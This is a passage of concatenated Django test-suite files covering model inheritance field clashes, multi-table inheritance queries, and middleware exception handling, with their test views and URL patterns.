            AnotherChild.check(),
            [Error(
                "The field 'name' clashes with the field 'name' "
                "from model 'model_inheritance.concreteparent'.",
                obj=AnotherChild._meta.get_field('name'),
                id="models.E006",
            )]
        )

    def test_virtual_field(self):
        class RelationModel(models.Model):
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey('content_type', 'object_id')

        class RelatedModelAbstract(models.Model):
            field = GenericRelation(RelationModel)

            class Meta:
                abstract = True

        class ModelAbstract(models.Model):
            field = models.CharField(max_length=100)

            class Meta:
                abstract = True

        class OverrideRelatedModelAbstract(RelatedModelAbstract):
            field = models.CharField(max_length=100)

        class ExtendModelAbstract(ModelAbstract):
            field = GenericRelation(RelationModel)

        self.assertIsInstance(OverrideRelatedModelAbstract._meta.get_field('field'), models.CharField)
        self.assertIsInstance(ExtendModelAbstract._meta.get_field('field'), GenericRelation)

    def test_cannot_override_indirect_abstract_field(self):
        class AbstractBase(models.Model):
            name = models.CharField(max_length=30)

            class Meta:
                abstract = True

        class ConcreteDescendant(AbstractBase):
            pass

        msg = (
            "Local field 'name' in class 'Descendant' clashes with field of "
            "the same name from base class 'ConcreteDescendant'."
        )
        with self.assertRaisesMessage(FieldError, msg):
            class Descendant(ConcreteDescendant):
                name = models.IntegerField()

    def test_override_field_with_attr(self):
        class AbstractBase(models.Model):
            first_name = models.CharField(max_length=50)
            last_name = models.CharField(max_length=50)
            middle_name = models.CharField(max_length=30)
            full_name = models.CharField(max_length=150)

            class Meta:
                abstract = True

        class Descendant(AbstractBase):
            middle_name = None

            def full_name(self):
                return self.first_name + self.last_name

        with self.assertRaises(FieldDoesNotExist):
            Descendant._meta.get_field('middle_name')

        with self.assertRaises(FieldDoesNotExist):
            Descendant._meta.get_field('full_name')

    def test_overriding_field_removed_by_concrete_model(self):
        class AbstractModel(models.Model):
            foo = models.CharField(max_length=30)

            class Meta:
                abstract = True

        class RemovedAbstractModelField(AbstractModel):
            foo = None

        class OverrideRemovedFieldByConcreteModel(RemovedAbstractModelField):
            foo = models.CharField(max_length=50)

        self.assertEqual(OverrideRemovedFieldByConcreteModel._meta.get_field('foo').max_length, 50)

    def test_shadowed_fkey_id(self):
        class Foo(models.Model):
            pass

        class AbstractBase(models.Model):
            foo = models.ForeignKey(Foo, models.CASCADE)

            class Meta:
                abstract = True

        class Descendant(AbstractBase):
            foo_id = models.IntegerField()

        self.assertEqual(
            Descendant.check(),
            [Error(
                "The field 'foo_id' clashes with the field 'foo' "
                "from model 'model_inheritance.descendant'.",
                obj=Descendant._meta.get_field('foo_id'),
                id='models.E006',
            )]
        )

    def test_shadow_related_name_when_set_to_none(self):
        class AbstractBase(models.Model):
            bar = models.IntegerField()

            class Meta:
                abstract = True

        class Foo(AbstractBase):
            bar = None
            foo = models.IntegerField()

        class Bar(models.Model):
            bar = models.ForeignKey(Foo, models.CASCADE, related_name='bar')

        self.assertEqual(Bar.check(), [])

    def test_reverse_foreign_key(self):
        class AbstractBase(models.Model):
            foo = models.CharField(max_length=100)

            class Meta:
                abstract = True

        class Descendant(AbstractBase):
            pass

        class Foo(models.Model):
            foo = models.ForeignKey(Descendant, models.CASCADE, related_name='foo')

        self.assertEqual(
            Foo._meta.get_field('foo').check(),
            [
                Error(
                    "Reverse accessor for 'Foo.foo' clashes with field name 'Descendant.foo'.",
                    hint=(
                        "Rename field 'Descendant.foo', or add/change a related_name "
                        "argument to the definition for field 'Foo.foo'."
                    ),
                    obj=Foo._meta.get_field('foo'),
                    id='fields.E302',
                ),
                Error(
                    "Reverse query name for 'Foo.foo' clashes with field name 'Descendant.foo'.",
                    hint=(
                        "Rename field 'Descendant.foo', or add/change a related_name "
                        "argument to the definition for field 'Foo.foo'."
                    ),
                    obj=Foo._meta.get_field('foo'),
                    id='fields.E303',
                ),
            ]
        )

    def test_multi_inheritance_field_clashes(self):
        class AbstractBase(models.Model):
            name = models.CharField(max_length=30)

            class Meta:
                abstract = True

        class ConcreteBase(AbstractBase):
            pass

        class AbstractDescendant(ConcreteBase):
            class Meta:
                abstract = True

        class ConcreteDescendant(AbstractDescendant):
            name = models.CharField(max_length=100)

        self.assertEqual(
            ConcreteDescendant.check(),
            [Error(
                "The field 'name' clashes with the field 'name' from "
                "model 'model_inheritance.concretebase'.",
                obj=ConcreteDescendant._meta.get_field('name'),
                id="models.E006",
            )]
        )

    def test_override_one2one_relation_auto_field_clashes(self):
        class ConcreteParent(models.Model):
            name = models.CharField(max_length=255)

        class AbstractParent(models.Model):
            name = models.IntegerField()

            class Meta:
                abstract = True

        msg = (
            "Auto-generated field 'concreteparent_ptr' in class 'Descendant' "
            "for parent_link to base class 'ConcreteParent' clashes with "
            "declared field of the same name."
        )
        with self.assertRaisesMessage(FieldError, msg):
            class Descendant(ConcreteParent, AbstractParent):
                concreteparent_ptr = models.CharField(max_length=30)

    def test_abstract_model_with_regular_python_mixin_mro(self):
        class AbstractModel(models.Model):
            name = models.CharField(max_length=255)
            age = models.IntegerField()

            class Meta:
                abstract = True

        class Mixin(object):
            age = None

        class Mixin2(object):
            age = 2

        class DescendantMixin(Mixin):
            pass

        class ConcreteModel(models.Model):
            foo = models.IntegerField()

        class ConcreteModel2(ConcreteModel):
            age = models.SmallIntegerField()

        def fields(model):
            if not hasattr(model, '_meta'):
                return list()
            return list((f.name, f.__class__) for f in model._meta.get_fields())

        model_dict = {'__module__': 'model_inheritance'}
        model1 = type(str('Model1'), (AbstractModel, Mixin), model_dict.copy())
        model2 = type(str('Model2'), (Mixin2, AbstractModel), model_dict.copy())
        model3 = type(str('Model3'), (DescendantMixin, AbstractModel), model_dict.copy())
        model4 = type(str('Model4'), (Mixin2, Mixin, AbstractModel), model_dict.copy())
        model5 = type(str('Model5'), (Mixin2, ConcreteModel2, Mixin, AbstractModel), model_dict.copy())

        self.assertEqual(
            fields(model1),
            [('id', models.AutoField), ('name', models.CharField), ('age', models.IntegerField)]
        )

        self.assertEqual(fields(model2), [('id', models.AutoField), ('name', models.CharField)])
        self.assertEqual(getattr(model2, 'age'), 2)

        self.assertEqual(fields(model3), [('id', models.AutoField), ('name', models.CharField)])

        self.assertEqual(fields(model4), [('id', models.AutoField), ('name', models.CharField)])
        self.assertEqual(getattr(model4, 'age'), 2)

        self.assertEqual(
            fields(model5),
            [
                ('id', models.AutoField), ('foo', models.IntegerField),
                ('concretemodel_ptr', models.OneToOneField),
                ('age', models.SmallIntegerField), ('concretemodel2_ptr', models.OneToOneField),
                ('name', models.CharField),
            ]
        )












from __future__ import unicode_literals

from operator import attrgetter

from django.core.exceptions import FieldError, ValidationError
from django.db import connection, models
from django.test import SimpleTestCase, TestCase
from django.test.utils import CaptureQueriesContext, isolate_apps
from django.utils import six

from .models import (
    Base, Chef, CommonInfo, GrandChild, GrandParent, ItalianRestaurant,
    MixinModel, ParkingLot, Place, Post, Restaurant, Student, SubBase,
    Supplier, Title, Worker,
)


class ModelInheritanceTests(TestCase):
    def test_abstract(self):
        # The Student and Worker models both have 'name' and 'age' fields on
        # them and inherit the __str__() method, just as with normal Python
        # subclassing. This is useful if you want to factor out common
        # information for programming purposes, but still completely
        # independent separate models at the database level.
        w1 = Worker.objects.create(name="Fred", age=35, job="Quarry worker")
        Worker.objects.create(name="Barney", age=34, job="Quarry worker")

        s = Student.objects.create(name="Pebbles", age=5, school_class="1B")

        self.assertEqual(six.text_type(w1), "Worker Fred")
        self.assertEqual(six.text_type(s), "Student Pebbles")

        # The children inherit the Meta class of their parents (if they don't
        # specify their own).
        self.assertQuerysetEqual(
            Worker.objects.values("name"), [
                {"name": "Barney"},
                {"name": "Fred"},
            ],
            lambda o: o
        )

        # Since Student does not subclass CommonInfo's Meta, it has the effect
        # of completely overriding it. So ordering by name doesn't take place
        # for Students.
        self.assertEqual(Student._meta.ordering, [])

        # However, the CommonInfo class cannot be used as a normal model (it
        # doesn't exist as a model).
        with self.assertRaises(AttributeError):
            CommonInfo.objects.all()

    def test_reverse_relation_for_different_hierarchy_tree(self):
        # Even though p.supplier for a Place 'p' (a parent of a Supplier), a
        # Restaurant object cannot access that reverse relation, since it's not
        # part of the Place-Supplier Hierarchy.
        self.assertQuerysetEqual(Place.objects.filter(supplier__name="foo"), [])
        with self.assertRaises(FieldError):
            Restaurant.objects.filter(supplier__name="foo")

    def test_model_with_distinct_accessors(self):
        # The Post model has distinct accessors for the Comment and Link models.
        post = Post.objects.create(title="Lorem Ipsum")
        post.attached_comment_set.create(content="Save $ on V1agr@", is_spam=True)
        post.attached_link_set.create(
            content="The Web framework for perfections with deadlines.",
            url="http://www.djangoproject.com/"
        )

        # The Post model doesn't have an attribute called
        # 'attached_%(class)s_set'.
        with self.assertRaises(AttributeError):
            getattr(post, "attached_%(class)s_set")

    def test_model_with_distinct_related_query_name(self):
        self.assertQuerysetEqual(Post.objects.filter(attached_model_inheritance_comments__is_spam=True), [])

        # The Post model doesn't have a related query accessor based on
        # related_name (attached_comment_set).
        msg = "Cannot resolve keyword 'attached_comment_set' into field."
        with self.assertRaisesMessage(FieldError, msg):
            Post.objects.filter(attached_comment_set__is_spam=True)

    def test_meta_fields_and_ordering(self):
        # Make sure Restaurant and ItalianRestaurant have the right fields in
        # the right order.
        self.assertEqual(
            [f.name for f in Restaurant._meta.fields],
            ["id", "name", "address", "place_ptr", "rating", "serves_hot_dogs",
             "serves_pizza", "chef"]
        )
        self.assertEqual(
            [f.name for f in ItalianRestaurant._meta.fields],
            ["id", "name", "address", "place_ptr", "rating", "serves_hot_dogs",
             "serves_pizza", "chef", "restaurant_ptr", "serves_gnocchi"],
        )
        self.assertEqual(Restaurant._meta.ordering, ["-rating"])

    def test_custompk_m2m(self):
        b = Base.objects.create()
        b.titles.add(Title.objects.create(title="foof"))
        s = SubBase.objects.create(sub_id=b.id)
        b = Base.objects.get(pk=s.id)
        self.assertNotEqual(b.pk, s.pk)
        # Low-level test for related_val
        self.assertEqual(s.titles.related_val, (s.id,))
        # Higher level test for correct query values (title foof not
        # accidentally found).
        self.assertQuerysetEqual(s.titles.all(), [])

    def test_update_parent_filtering(self):
        """
        Test that updating a field of a model subclass doesn't issue an UPDATE
        query constrained by an inner query.
        Refs #10399
        """
        supplier = Supplier.objects.create(
            name='Central market',
            address='610 some street',
        )
        # Capture the expected query in a database agnostic way
        with CaptureQueriesContext(connection) as captured_queries:
            Place.objects.filter(pk=supplier.pk).update(name=supplier.name)
        expected_sql = captured_queries[0]['sql']
        # Capture the queries executed when a subclassed model instance is saved.
        with CaptureQueriesContext(connection) as captured_queries:
            supplier.save(update_fields=('name',))
        for query in captured_queries:
            sql = query['sql']
            if 'UPDATE' in sql:
                self.assertEqual(expected_sql, sql)

    def test_eq(self):
        # Equality doesn't transfer in multitable inheritance.
        self.assertNotEqual(Place(id=1), Restaurant(id=1))
        self.assertNotEqual(Restaurant(id=1), Place(id=1))

    def test_mixin_init(self):
        m = MixinModel()
        self.assertEqual(m.other_attr, 1)

    @isolate_apps('model_inheritance')
    def test_abstract_parent_link(self):
        class A(models.Model):
            pass

        class B(A):
            a = models.OneToOneField('A', parent_link=True, on_delete=models.CASCADE)

            class Meta:
                abstract = True

        class C(B):
            pass

        self.assertIs(C._meta.parents[A], C._meta.get_field('a'))


class ModelInheritanceDataTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.restaurant = Restaurant.objects.create(
            name="Demon Dogs",
            address="944 W. Fullerton",
            serves_hot_dogs=True,
            serves_pizza=False,
            rating=2,
        )

        chef = Chef.objects.create(name="Albert")
        cls.italian_restaurant = ItalianRestaurant.objects.create(
            name="Ristorante Miron",
            address="1234 W. Ash",
            serves_hot_dogs=False,
            serves_pizza=False,
            serves_gnocchi=True,
            rating=4,
            chef=chef,
        )

    def test_filter_inherited_model(self):
        self.assertQuerysetEqual(
            ItalianRestaurant.objects.filter(address="1234 W. Ash"), [
                "Ristorante Miron",
            ],
            attrgetter("name")
        )

    def test_update_inherited_model(self):
        self.italian_restaurant.address = "1234 W. Elm"
        self.italian_restaurant.save()
        self.assertQuerysetEqual(
            ItalianRestaurant.objects.filter(address="1234 W. Elm"), [
                "Ristorante Miron",
            ],
            attrgetter("name")
        )

    def test_parent_fields_available_for_filtering_in_child_model(self):
        # Parent fields can be used directly in filters on the child model.
        self.assertQuerysetEqual(
            Restaurant.objects.filter(name="Demon Dogs"), [
                "Demon Dogs",
            ],
            attrgetter("name")
        )
        self.assertQuerysetEqual(
            ItalianRestaurant.objects.filter(address="1234 W. Ash"), [
                "Ristorante Miron",
            ],
            attrgetter("name")
        )

    def test_filter_on_parent_returns_object_of_parent_type(self):
        # Filters against the parent model return objects of the parent's type.
        p = Place.objects.get(name="Demon Dogs")
        self.assertIs(type(p), Place)

    def test_parent_child_one_to_one_link(self):
        # Since the parent and child are linked by an automatically created
        # OneToOneField, you can get from the parent to the child by using the
        # child's name.
        self.assertEqual(
            Place.objects.get(name="Demon Dogs").restaurant,
            Restaurant.objects.get(name="Demon Dogs")
        )
        self.assertEqual(
            Place.objects.get(name="Ristorante Miron").restaurant.italianrestaurant,
            ItalianRestaurant.objects.get(name="Ristorante Miron")
        )
        self.assertEqual(
            Restaurant.objects.get(name="Ristorante Miron").italianrestaurant,
            ItalianRestaurant.objects.get(name="Ristorante Miron")
        )

    def test_parent_child_one_to_one_link_on_nonrelated_objects(self):
        # This won't work because the Demon Dogs restaurant is not an Italian
        # restaurant.
        with self.assertRaises(ItalianRestaurant.DoesNotExist):
            Place.objects.get(name="Demon Dogs").restaurant.italianrestaurant

    def test_inherited_does_not_exist_exception(self):
        # An ItalianRestaurant which does not exist is also a Place which does
        # not exist.
        with self.assertRaises(Place.DoesNotExist):
            ItalianRestaurant.objects.get(name="The Noodle Void")

    def test_inherited_multiple_objects_returned_exception(self):
        # MultipleObjectsReturned is also inherited.
        with self.assertRaises(Place.MultipleObjectsReturned):
            Restaurant.objects.get()

    def test_related_objects_for_inherited_models(self):
        # Related objects work just as they normally do.
        s1 = Supplier.objects.create(name="Joe's Chickens", address="123 Sesame St")
        s1.customers .set([self.restaurant, self.italian_restaurant])
        s2 = Supplier.objects.create(name="Luigi's Pasta", address="456 Sesame St")
        s2.customers.set([self.italian_restaurant])

        # This won't work because the Place we select is not a Restaurant (it's
        # a Supplier).
        p = Place.objects.get(name="Joe's Chickens")
        with self.assertRaises(Restaurant.DoesNotExist):
            p.restaurant

        self.assertEqual(p.supplier, s1)
        self.assertQuerysetEqual(
            self.italian_restaurant.provider.order_by("-name"), [
                "Luigi's Pasta",
                "Joe's Chickens"
            ],
            attrgetter("name")
        )
        self.assertQuerysetEqual(
            Restaurant.objects.filter(provider__name__contains="Chickens"), [
                "Ristorante Miron",
                "Demon Dogs",
            ],
            attrgetter("name")
        )
        self.assertQuerysetEqual(
            ItalianRestaurant.objects.filter(provider__name__contains="Chickens"), [
                "Ristorante Miron",
            ],
            attrgetter("name"),
        )

        ParkingLot.objects.create(
            name="Main St", address="111 Main St", main_site=s1
        )
        ParkingLot.objects.create(
            name="Well Lit", address="124 Sesame St", main_site=self.italian_restaurant
        )

        self.assertEqual(
            Restaurant.objects.get(lot__name="Well Lit").name,
            "Ristorante Miron"
        )

    def test_update_works_on_parent_and_child_models_at_once(self):
        # The update() command can update fields in parent and child classes at
        # once (although it executed multiple SQL queries to do so).
        rows = Restaurant.objects.filter(
            serves_hot_dogs=True, name__contains="D"
        ).update(
            name="Demon Puppies", serves_hot_dogs=False
        )
        self.assertEqual(rows, 1)

        r1 = Restaurant.objects.get(pk=self.restaurant.pk)
        self.assertFalse(r1.serves_hot_dogs)
        self.assertEqual(r1.name, "Demon Puppies")

    def test_values_works_on_parent_model_fields(self):
        # The values() command also works on fields from parent models.
        self.assertQuerysetEqual(
            ItalianRestaurant.objects.values("name", "rating"), [
                {"rating": 4, "name": "Ristorante Miron"},
            ],
            lambda o: o
        )

    def test_select_related_works_on_parent_model_fields(self):
        # select_related works with fields from the parent object as if they
        # were a normal part of the model.
        self.assertNumQueries(
            2, lambda: ItalianRestaurant.objects.all()[0].chef
        )
        self.assertNumQueries(
            1, lambda: ItalianRestaurant.objects.select_related("chef")[0].chef
        )

    def test_select_related_defer(self):
        """
        #23370 - Should be able to defer child fields when using
        select_related() from parent to child.
        """
        qs = (Restaurant.objects.select_related("italianrestaurant")
              .defer("italianrestaurant__serves_gnocchi").order_by("rating"))

        # Test that the field was actually deferred
        with self.assertNumQueries(2):
            objs = list(qs.all())
            self.assertTrue(objs[1].italianrestaurant.serves_gnocchi)

        # Test that model fields where assigned correct values
        self.assertEqual(qs[0].name, 'Demon Dogs')
        self.assertEqual(qs[0].rating, 2)
        self.assertEqual(qs[1].italianrestaurant.name, 'Ristorante Miron')
        self.assertEqual(qs[1].italianrestaurant.rating, 4)

    def test_update_query_counts(self):
        """
        Test that update queries do not generate non-necessary queries.
        Refs #18304.
        """
        with self.assertNumQueries(3):
            self.italian_restaurant.save()

    def test_filter_inherited_on_null(self):
        # Refs #12567
        Supplier.objects.create(
            name="Central market",
            address="610 some street",
        )
        self.assertQuerysetEqual(
            Place.objects.filter(supplier__isnull=False), [
                "Central market",
            ],
            attrgetter("name")
        )
        self.assertQuerysetEqual(
            Place.objects.filter(supplier__isnull=True).order_by("name"), [
                "Demon Dogs",
                "Ristorante Miron",
            ],
            attrgetter("name")
        )

    def test_exclude_inherited_on_null(self):
        # Refs #12567
        Supplier.objects.create(
            name="Central market",
            address="610 some street",
        )
        self.assertQuerysetEqual(
            Place.objects.exclude(supplier__isnull=False).order_by("name"), [
                "Demon Dogs",
                "Ristorante Miron",
            ],
            attrgetter("name")
        )
        self.assertQuerysetEqual(
            Place.objects.exclude(supplier__isnull=True), [
                "Central market",
            ],
            attrgetter("name")
        )


@isolate_apps('model_inheritance', 'model_inheritance.tests')
class InheritanceSameModelNameTests(SimpleTestCase):
    def test_abstract_fk_related_name(self):
        related_name = '%(app_label)s_%(class)s_references'

        class Referenced(models.Model):
            class Meta:
                app_label = 'model_inheritance'

        class AbstractReferent(models.Model):
            reference = models.ForeignKey(Referenced, models.CASCADE, related_name=related_name)

            class Meta:
                app_label = 'model_inheritance'
                abstract = True

        class Referent(AbstractReferent):
            class Meta:
                app_label = 'model_inheritance'

        LocalReferent = Referent

        class Referent(AbstractReferent):
            class Meta:
                app_label = 'tests'

        ForeignReferent = Referent

        self.assertFalse(hasattr(Referenced, related_name))
        self.assertTrue(Referenced.model_inheritance_referent_references.rel.model, LocalReferent)
        self.assertTrue(Referenced.tests_referent_references.rel.model, ForeignReferent)


class InheritanceUniqueTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.grand_parent = GrandParent.objects.create(
            email='grand_parent@example.com',
            first_name='grand',
            last_name='parent',
        )

    def test_unique(self):
        grand_child = GrandChild(
            email=self.grand_parent.email,
            first_name='grand',
            last_name='child',
        )
        msg = 'Grand parent with this Email already exists.'
        with self.assertRaisesMessage(ValidationError, msg):
            grand_child.validate_unique()

    def test_unique_together(self):
        grand_child = GrandChild(
            email='grand_child@example.com',
            first_name=self.grand_parent.first_name,
            last_name=self.grand_parent.last_name,
        )
        msg = 'Grand parent with this First name and Last name already exists.'
        with self.assertRaisesMessage(ValidationError, msg):
            grand_child.validate_unique()






from django import http
from django.core.exceptions import PermissionDenied
from django.template import engines
from django.template.response import TemplateResponse


def normal_view(request):
    return http.HttpResponse('OK')


def template_response(request):
    template = engines['django'].from_string('template_response OK{% for m in mw %}\n{{ m }}{% endfor %}')
    return TemplateResponse(request, template, context={'mw': []})


def template_response_error(request):
    template = engines['django'].from_string('{%')
    return TemplateResponse(request, template)


def not_found(request):
    raise http.Http404()


def server_error(request):
    raise Exception('Error in view')


def null_view(request):
    return None


def permission_denied(request):
    raise PermissionDenied()


def exception_in_render(request):
    class CustomHttpResponse(http.HttpResponse):
        def render(self):
            raise Exception('Exception in HttpResponse.render()')

    return CustomHttpResponse('Error')






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^middleware_exceptions/view/$', views.normal_view),
    url(r'^middleware_exceptions/not_found/$', views.not_found),
    url(r'^middleware_exceptions/error/$', views.server_error),
    url(r'^middleware_exceptions/null_view/$', views.null_view),
    url(r'^middleware_exceptions/permission_denied/$', views.permission_denied),
    url(r'^middleware_exceptions/exception_in_render/$', views.exception_in_render),

    url(r'^middleware_exceptions/template_response/$', views.template_response),
    url(r'^middleware_exceptions/template_response_error/$', views.template_response_error),
]






import sys

from django.core.signals import got_request_exception
from django.http import HttpResponse
from django.template import engines
from django.template.response import TemplateResponse
from django.test import SimpleTestCase, override_settings
from django.test.utils import ignore_warnings
from django.utils.deprecation import MiddlewareMixin, RemovedInDjango20Warning

from .tests import MiddlewareNotUsedTests


class TestException(Exception):
    pass


# A middleware base class that tracks which methods have been called
class TestMiddleware(MiddlewareMixin):
    def __init__(self, get_response=None):
        self.process_request_called = False
        self.process_view_called = False
        self.process_response_called = False
        self.process_template_response_called = False
        self.process_exception_called = False
        self.get_response = get_response

    def process_request(self, request):
        self.process_request_called = True

    def process_view(self, request, view_func, view_args, view_kwargs):
        self.process_view_called = True

    def process_template_response(self, request, response):
        self.process_template_response_called = True
        return response

    def process_response(self, request, response):
        self.process_response_called = True
        return response

    def process_exception(self, request, exception):
        self.process_exception_called = True


# Middleware examples that do the right thing
class RequestMiddleware(TestMiddleware):
    def process_request(self, request):
        super(RequestMiddleware, self).process_request(request)
        return HttpResponse('Request Middleware')


class ViewMiddleware(TestMiddleware):
    def process_view(self, request, view_func, view_args, view_kwargs):
        super(ViewMiddleware, self).process_view(request, view_func, view_args, view_kwargs)
        return HttpResponse('View Middleware')


class TemplateResponseViewMiddleware(TestMiddleware):
    def process_view(self, request, view_func, view_args, view_kwargs):
        super(TemplateResponseViewMiddleware, self).process_view(request, view_func, view_args, view_kwargs)
        template = engines['django'].from_string('TemplateResponse View Middleware')
        return TemplateResponse(request, template)


class ResponseMiddleware(TestMiddleware):
    def process_response(self, request, response):
        super(ResponseMiddleware, self).process_response(request, response)
        return HttpResponse('Response Middleware')


class ContentAccessingResponseMiddleware(TestMiddleware):
    def process_response(self, request, response):
        super(ContentAccessingResponseMiddleware, self).process_response(request, response)
        return HttpResponse('Content-accessing Response Middleware: %d' % len(response.content))


class TemplateResponseMiddleware(TestMiddleware):
    def process_template_response(self, request, response):
        super(TemplateResponseMiddleware, self).process_template_response(request, response)
        template = engines['django'].from_string('Template Response Middleware')
        return TemplateResponse(request, template)


class ExceptionMiddleware(TestMiddleware):
    def process_exception(self, request, exception):
        super(ExceptionMiddleware, self).process_exception(request, exception)
        return HttpResponse('Exception Middleware')


# Sample middlewares that raise exceptions
class BadRequestMiddleware(TestMiddleware):
    def process_request(self, request):
        super(BadRequestMiddleware, self).process_request(request)
        raise TestException('Test Request Exception')


class BadViewMiddleware(TestMiddleware):
    def process_view(self, request, view_func, view_args, view_kwargs):
        super(BadViewMiddleware, self).process_view(request, view_func, view_args, view_kwargs)
        raise TestException('Test View Exception')


class BadTemplateResponseMiddleware(TestMiddleware):
    def process_template_response(self, request, response):
        super(BadTemplateResponseMiddleware, self).process_template_response(request, response)
        raise TestException('Test Template Response Exception')


class BadResponseMiddleware(TestMiddleware):
    def process_response(self, request, response):
        super(BadResponseMiddleware, self).process_response(request, response)
        raise TestException('Test Response Exception')


class BadExceptionMiddleware(TestMiddleware):
    def process_exception(self, request, exception):
        super(BadExceptionMiddleware, self).process_exception(request, exception)
        raise TestException('Test Exception Exception')


# Sample middlewares that omit to return an HttpResonse
class NoTemplateResponseMiddleware(TestMiddleware):
    def process_template_response(self, request, response):
        super(NoTemplateResponseMiddleware, self).process_template_response(request, response)


class NoResponseMiddleware(TestMiddleware):
    def process_response(self, request, response):
        super(NoResponseMiddleware, self).process_response(request, response)


@ignore_warnings(category=RemovedInDjango20Warning)
@override_settings(
    ROOT_URLCONF='middleware_exceptions.urls',
    MIDDLEWARE_CLASSES=['django.middleware.common.CommonMiddleware'],
    MIDDLEWARE=None,
)
class BaseMiddlewareExceptionTest(SimpleTestCase):

    def setUp(self):
        self.exceptions = []
        got_request_exception.connect(self._on_request_exception)
        self.client.handler.load_middleware()

    def tearDown(self):
        got_request_exception.disconnect(self._on_request_exception)
        self.exceptions = []

    def _on_request_exception(self, sender, request, **kwargs):
        self.exceptions.append(sys.exc_info())

    def _add_middleware(self, middleware):
        self.client.handler._request_middleware.insert(0, middleware.process_request)
        self.client.handler._view_middleware.insert(0, middleware.process_view)
        self.client.handler._template_response_middleware.append(middleware.process_template_response)
        self.client.handler._response_middleware.append(middleware.process_response)
        self.client.handler._exception_middleware.append(middleware.process_exception)

    def assert_exceptions_handled(self, url, errors, extra_error=None):
        try:
            self.client.get(url)
        except TestException:
            # Test client intentionally re-raises any exceptions being raised
            # during request handling. Hence actual testing that exception was
            # properly handled is done by relying on got_request_exception
            # signal being sent.
            pass
        except Exception as e:
            if type(extra_error) != type(e):
                self.fail("Unexpected exception: %s" % e)
        self.assertEqual(len(self.exceptions), len(errors))
        for i, error in enumerate(errors):
            exception, value, tb = self.exceptions[i]
            self.assertEqual(value.args, (error, ))

    def assert_middleware_usage(self, middleware, request, view, template_response, response, exception):
        # include the middleware name for easier debugging of failures
        self.assertEqual(
            (
                middleware.__class__.__name__,
                middleware.process_request_called,
                middleware.process_view_called,
                middleware.process_template_response_called,
                middleware.process_response_called,
                middleware.process_exception_called,
            ), (
                middleware.__class__.__name__,
                request,
                view,
                template_response,
                response,
                exception,
            )
        )


class MiddlewareTests(BaseMiddlewareExceptionTest):

    def test_process_request_middleware(self):
        pre_middleware = TestMiddleware()
        middleware = RequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_middleware(self):
        pre_middleware = TestMiddleware()
        middleware = ViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_middleware(self):
        pre_middleware = TestMiddleware()
        middleware = ResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_template_response_middleware(self):
        pre_middleware = TestMiddleware()
        middleware = TemplateResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/template_response/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, True, True, False)
        self.assert_middleware_usage(middleware, True, True, True, True, False)
        self.assert_middleware_usage(post_middleware, True, True, True, True, False)

    def test_process_exception_middleware(self):
        pre_middleware = TestMiddleware()
        middleware = ExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_request_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        middleware = RequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        middleware = ViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_template_response_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        middleware = TemplateResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, True)
        self.assert_middleware_usage(middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_response_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        middleware = ResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
